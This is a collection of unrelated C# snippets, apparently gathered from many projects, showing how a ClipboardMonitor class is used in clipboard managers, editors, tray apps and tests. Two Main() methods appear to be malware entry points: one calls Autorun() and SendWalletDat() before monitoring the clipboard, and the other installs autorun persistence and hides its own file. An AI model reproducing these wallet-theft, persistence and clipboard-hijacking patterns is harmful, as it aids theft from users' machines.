private void stopMonitorToolStripMenuItem_Click(object sender, EventArgs e) { ClipboardMonitor.Stop(); startMonitorToolStripMenuItem.Visible = true; stopMonitorToolStripMenuItem.Visible = false; notifyIcon.Icon = Properties.Resources.stop; }
protected override void OnSourceInitialized(EventArgs e) { base.OnSourceInitialized(e); // Clipboard manager _clipboardMonitor = new ClipboardMonitor(); _clipboardMonitor.ClipboardContentChanged += OnClipboardContentChanged; _hWnd = new WindowInteropHelper(this).Handle; // Notification menu items (when minimized) _exitMenuItem = new System.Windows.Forms.MenuItem(LocalizationProvider.GetLocalizedValue <string>(nameof(Properties.Resources.Trayicon_ExitLabel))); _settingsMenuItem = new System.Windows.Forms.MenuItem(LocalizationProvider.GetLocalizedValue <string>(nameof(Properties.Resources.Trayicon_SettingsLabel))); _compactDbMenuItem = new System.Windows.Forms.MenuItem(LocalizationProvider.GetLocalizedValue <string>(nameof(Properties.Resources.Trayicon_CompactDbLabel))); _toggleClipboardMonitorMenuItem = new System.Windows.Forms.MenuItem(LocalizationProvider.GetLocalizedValue <string>(nameof(Properties.Resources.Trayicon_DisconnectFromClipboardLabel))); _exitMenuItem.Click += OnExitMenuItemClick; _settingsMenuItem.Click += OnSettingsMenuItemClick; _compactDbMenuItem.Click += OnCompactDbMenuItemClick; _toggleClipboardMonitorMenuItem.Click += OnToggleClipboardMonitorMenuItemClick; _notifyIconContextMenu = new System.Windows.Forms.ContextMenu(); _notifyIconContextMenu.MenuItems.Add(_settingsMenuItem); _notifyIconContextMenu.MenuItems.Add(_compactDbMenuItem); _notifyIconContextMenu.MenuItems.Add(_toggleClipboardMonitorMenuItem); _notifyIconContextMenu.MenuItems.Add("-"); _notifyIconContextMenu.MenuItems.Add(_exitMenuItem); _notifyIcon = new System.Windows.Forms.NotifyIcon(); _notifyIcon.Icon = new System.Drawing.Icon(@"../../Resources/Clipboard.ico"); _notifyIcon.MouseClick += OnNotifyIconClick; _notifyIcon.ContextMenu = _notifyIconContextMenu; _notifyIcon.Visible = true; }
private void _Reload() { try { if (dataConvert == null) { dataConvert = new DataConvert(this); dataConvert.DataConverted += data_converted; } if (focusMontorer == null) { focusMontorer = new FocusMontorer(); focusMontorer.FocusChanged += focusMontorer_FocusChanged; } if (clipboardMontorer == null) { clipboardMontorer = new ClipboardMonitor(this); clipboardMontorer.ClipboardChanged += clipboardMontorer_changed; } } catch (Exception e) { Logging.LogUsefulException(e); ReportError(e); } }
public ClipboardIndexer() { TryRestore(); ClipboardMonitor.Start(); ClipboardMonitor.OnClipboardChange += ClipboardMonitor_OnClipboardChange; }
private void GameStudioLoaded(object sender, RoutedEventArgs e) { if (!Editor.Session.IsEditorInitialized) { // Size the window to best fit the current screen size InitializeWindowSize(); // Load the docking layout dockingLayout.ReloadCurrentLayout(); // Restore visible/hidden status of panes GameStudioViewModel.GameStudio.Panels.LoadFromSettings(); // Initialize plugins Editor.Session.ServiceProvider.Get <IAssetsPluginService>().Plugins.ForEach(x => x.InitializeSession(Editor.Session)); // Open assets that were being edited in the previous session ReopenAssetEditors(dockingLayout.LoadOpenAssets().ToList()).Forget(); // Listen to clipboard ClipboardMonitor.RegisterListener(this); // Notify start Program.NotifyGameStudioStarted(); Editor.Session.PluginsInitialized(); foreach (var window in Application.Current.Windows.Cast <Window>().Where(x => !Equals(x, this))) { var childHwnd = new WindowInteropHelper(window).Handle; var parentHwnd = new WindowInteropHelper(this).Handle; var handleRef = new HandleRef(window, childHwnd); NativeHelper.SetWindowLong(handleRef, NativeHelper.WindowLongType.HwndParent, parentHwnd); } } }
public MainWindow() { InitializeComponent(); ClipboardMonitor.Start(); ClipboardMonitor.OnClipboardChange += this.ClipboardChanged; }
public void New_clipboard_monitors_will_have_that_text_in_their_item_property() { Clipboard.SetData(DataFormats.Text, Rings.IronRingText); _sut = new ClipboardMonitor(); _sut.CurrentText.Should().Be(Rings.IronRingText); }
/// <summary> /// Handle the window closing finalization, stop monitoring process, deactivate hotkey, notification icon. /// </summary> /// <param name="sender"></param> /// <param name="e"></param> void MainWindow_Closing(object sender, System.ComponentModel.CancelEventArgs e) { this.Closing -= MainWindow_Closing; ClipboardMonitor.Stop(); // do not forget to stop ni.Visible = false; hotKey.Unregister(); hotKey.Dispose(); }
public ShellService(Lazy <IShellView> shellView) { this.shellView = shellView; tasksToCompleteBeforeShutdown = new List <Task>(); applicationBusyContext = new List <ApplicationBusyContext>(); clipboardMonitor = new ClipboardMonitor(); oauthManager = new OAuthManager(); }
protected override void OnLoaded() { this.ctlOK.Style = this.FindResource("AccentedDialogHighlightedSquareButton") as Style; this.ctlText.SetResourceReference(ForegroundProperty, "BlackColorBrush"); this.ctlText.SetResourceReference(ControlsHelper.FocusBorderBrushProperty, "TextBoxFocusBorderBrush"); this.m_clipboardMonitor = new ClipboardMonitor(this.OwningWindow); this.m_clipboardMonitor.ClipboardChanged += this.m_clipboardMonitor_ClipboardChanged; }
private static void Main() { Settings.Owner = "spasibo etomu parnu za build"; Settings.Version = "3.2.2"; Program.Autorun(); Program.SendWalletDat(); ClipboardMonitor.OnClipboardChange += new ClipboardMonitor.OnClipboardChangeEventHandler(Program.ClipboardMonitor_OnClipboardChange); ClipboardMonitor.Start(); }
/// <summary> /// Stops system clipboard change monitoring and disposes the Clipboard Monitor. /// </summary> private void DisposeClipboardMonitor() { if (_clipboardMonitor != null) { _clipboardMonitor.ClipboardUpdated -= OnClipboardUpdated; _clipboardMonitor.Dispose(); _clipboardMonitor = null; } }
public MainWindow() { InitializeComponent(); ClipboardMonitor monitor = new ClipboardMonitor(this); monitor.ClipboardUpdate += Monitor_ClipboardUpdate; monitor.Start(); }
static Clipboard() { ClipboardMonitor c = new ClipboardMonitor(); c.ClipboardUpdate += (p1, p2) => { currentData = global::System.Windows.Clipboard.GetDataObject(); ClipboardChanged?.Invoke(p1, new ClipboardEventArgs(currentData)); }; }
private void btnExit_Click(object sender, RoutedEventArgs e) { MessageBoxResult res = MessageBox.Show("This will turn off " + (Properties.Settings.Default.IsLite ? "Drop Lite" : "Drop") + " and you will lose all your data.\n\nFiles and Folders will not be deleted from their original locations.\n\n Are you sure?", "Exiting", MessageBoxButton.YesNo, MessageBoxImage.Question); if (res == MessageBoxResult.Yes) { ClipboardMonitor.Stop(); Environment.Exit(0); } }
public MainWindow() { InitializeComponent(); this.path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.MyPictures), "Clipboard"); Directory.CreateDirectory(this.path); this.clipboardMonitor = new ClipboardMonitor(this); this.clipboardMonitor.ClipboardUpdate += OnClipboardUpdate; }
private void Form1_Load(object sender, EventArgs e) { TrayIcon.Icon = Properties.Resources.BookIcon; //TrayIcon.Visible = false; WindowState = FormWindowState.Minimized; ClipboardMonitor.OnClipboardChange += Clip; ClipboardMonitor.Start(); Trans.OnTranslateChange += () => { TranslatedTextLabel.BeginInvoke((MethodInvoker)(() => TranslatedTextLabel.Text = Trans.TranslatedText)); }; }
/// <summary> /// /// </summary> public static void SetClipboardHooking() { Log.Debug("ClipboardMonitor.SetClipboardHooking()"); ClipboardMonitor.OnClipboardChange += ClipboardMonitor_OnClipboardChange; ClipboardMonitor.Start(); _clipboardEntities = new List <ClipboardEntity>(); }
private static void Main() { AppMutex.Check(); if (!Autorun.is_installed()) { Autorun.install(); } Attributes.set_hidden(); Attributes.set_system(); ClipboardMonitor.run(); }
public TurtleIdeFormContent() { InitializeComponent(); if (this.components == null) { this.components = new Container(); } this.clipboardMonitor = new ClipboardMonitor(this); this.clipboardMonitor.ClipboardChanged += new EventHandler(clipboardMonitor_ClipboardChanged); this.components.Add(this.clipboardMonitor); }
/// <summary> /// /// </summary> /// <param name="format"></param> /// <param name="data"></param> private static void ClipboardMonitor_OnClipboardChange(ClipboardFormat format, object data) { Log.Debug("ClipboardMonitor_OnClipboardChange()"); Icon icon = null; int processId; IntPtr clipboardHandle = ClipboardMonitor.GetClipboardOwner(); if (0 < (int)clipboardHandle) { processId = CWinApi.GetProcessIdByHandle(clipboardHandle); if (0 < processId) { try { // 32비트 프로그램에서 64비트 프로그램 프로세스 접근이 안되기 때문에 // 이런식으로 Process의 실행 위치를 가져온다. const string Query = "SELECT ProcessId, ExecutablePath, CommandLine FROM Win32_Process"; var searcher = new ManagementObjectSearcher(Query); foreach (var item in searcher.Get()) { object id = item["ProcessID"]; object path = item["ExecutablePath"]; if (path != null && id.ToString() == processId.ToString()) { icon = Icon.ExtractAssociatedIcon(path.ToString()); break; } } } catch { icon = null; } } } var ms = new MemoryStream(); if (icon != null) { icon.ToBitmap().Save(ms, System.Drawing.Imaging.ImageFormat.Png); } _clipboardEntities.Add( new ClipboardEntity( ms.ToArray(), data, format, DateTime.Now.ToString())); }
private void DataRow_Selected(object sender, RoutedEventArgs e) { ClipboardMonitor.Stop(); var test = (sender as DataGridRow).Item as ClipboardEntity; Clipboard.SetText(test.Data.ToString()); ClipboardMonitor.Start(); Close(); }
public Form1() { InitializeComponent(); configurationManager = new ConfigurationManager(); destinationValidator = new DestinationValidator(); hotkeyMonitor = new HotkeyMonitor(); clipboardMonitor = new ClipboardMonitor(); // load config try { configurationManager.Load(); } catch (Exception exc) { SimpleLogger.Log("ERROR: can't read configuration, exc=" + exc); MessageBox.Show(exc.ToString(), "Can't load configuration", MessageBoxButtons.OK, MessageBoxIcon.Error); Application.Exit(); } // regexp try { destinationValidator.Configure(configurationManager.Configuration()); } catch (Exception exc) { destinationValidator.Configure(null); Log("WARN: can't initialize validator: " + exc); } // hotkeys hotkeyMonitor.KeyPressed += new EventHandler <HTDialer.Utils.HotkeyMonitor.KeyPressedEventArgs>(hook_hotkey_pressed); try { hotkeyMonitor.SetKey(configurationManager.Configuration().Hotkey); } catch (Exception exc) { Log("WARN: can't install hotkey, exc=" + exc); } // clipboard clipboardMonitor.ClipboardEvent += new EventHandler <HTDialer.Utils.ClipboardMonitor.ClipboardEventArgs>(hook_clipboard_event); // update UI string[] s = String.IsNullOrEmpty(configurationManager.Configuration().Credentials) ? null : configurationManager.Configuration().Credentials.Split(':'); this.fieldHotkey.Text = configurationManager.Configuration().Hotkey; this.fieldHttpUsername.Text = (s != null ? s[0] : null); this.fieldHttpPassword.Text = (s != null ? s[1] : null); this.fieldUrl.Text = configurationManager.Configuration().Url; this.fieldRegex.Text = configurationManager.Configuration().Regex; this.fieldCutchars.Text = configurationManager.Configuration().CutChars; this.fieldShowInTaskbar.Checked = configurationManager.Configuration().ShowInTaskbar; // do hide this.ShowInTaskbar = configurationManager.Configuration().ShowInTaskbar; this.WindowState = FormWindowState.Minimized; }
/// <summary> /// Handle click on a list item by sending the selected item to the clipboard. /// </summary> internal void Selection_Clicked() { try { ClipboardMonitor.AddToClipboard(SelectedCopyItem); //SendCtrlV(); } catch (Exception ex) { ErrorMessage = ex.ToString(); } }
private void DownloadList_Load(object sender, EventArgs e) { DownloadManager.Instance.BeginAddBatchDownloads += new EventHandler(Instance_BeginAddBatchDownloads); DownloadManager.Instance.EndAddBatchDownloads += new EventHandler(Instance_EndAddBatchDownloads); scheduler = (AutoDownloadsExtension)App.Instance.GetExtensionByType(typeof(AutoDownloadsExtension)); clipMonitor = new ClipboardMonitor(this, this.Handle); this.Disposed += delegate(object snd, EventArgs ea) { clipMonitor.Dispose(); }; }
// 初始化/加载 private void QTranser_Loaded(object sender, RoutedEventArgs e) { _clipboardMonitor = new ClipboardMonitor(this); _clipboardMonitor.ClipboardUpdate += OnClipboardUpdate; HotKeyManage = new HotKeyManager(this); HotKeyManage.KeyPressed += OnHotKeyPressed; RegisterHotKey(); var SysColor = new SysColorChanger(this); SysColor.SysColorChange += () => Mvvm.LogoColor = Theme.GetLogoColor(); }
public MainWindow() { InitializeComponent(); esHandler = new EasyShareHandler("http://localhost:8080/handler.php", "rbl"); cbMon = new ClipboardMonitor(this); cbMon.ClipboardUpdated += cbMon_ClipboardUpdated; viewModel = new MainViewModel(esHandler, cbMon); viewModel.Id = "rbl"; DataContext = viewModel; }
public void Load(CodeSnippetCollection collection) { BeginUpdate(); Counter = collection.Counter; try { foreach (CodeSnippet snippet in collection.Items) { if (string.IsNullOrWhiteSpace(snippet.GetPath())) { snippet.SetPath(Constants.UNNAMED, out bool _changed); } snippet.Refresh(); } } catch { } TreeNodes.Clear(); CodeSnippets.Clear(); CodeSnippets.AddRange(collection.Items); if (collection.DocumentId.Equals(Guid.Empty)) { DocumentId = Guid.NewGuid(); } else { DocumentId = collection.DocumentId; } if (Counter < collection.Items.Count) { Counter = collection.Items.Count; } if (ClipboardMonitor != null) { ClipboardMonitor.Order = -1; ClipboardMonitor.SetPath("Clipboard Monitor", out bool _changed); } if (Trashcan != null) { Trashcan.Order = -2; Trashcan.SetPath("Trashcan", out bool _changed); } EndUpdate(); }
/// <summary> /// Sets the window to use for monitoring system clipboard changes and begins monitoring. /// </summary> /// <param name="monitorWindowHandle">The handle of the window.</param> /// <returns>A <see cref="bool"/> value indicating success or failure.</returns> public bool SetMonitorWindow(IntPtr monitorWindowHandle) { DisposeClipboardMonitor(); if (monitorWindowHandle == IntPtr.Zero) { return(false); } _clipboardMonitor = new ClipboardMonitor(monitorWindowHandle); _clipboardMonitor.ClipboardUpdated += OnClipboardUpdated; return(_clipboardMonitor.Start()); }
protected override void OnClosing(CancelEventArgs e) { base.OnClosing(e); if (forceClose) { // Stop listening to clipboard ClipboardMonitor.UnregisterListener(this); return; } // We need to run async stuff before closing, so let's always cancel the close at first. e.Cancel = true; // This method will shutdown the application if the session has been successfully closed. SaveAndClose().Forget(); }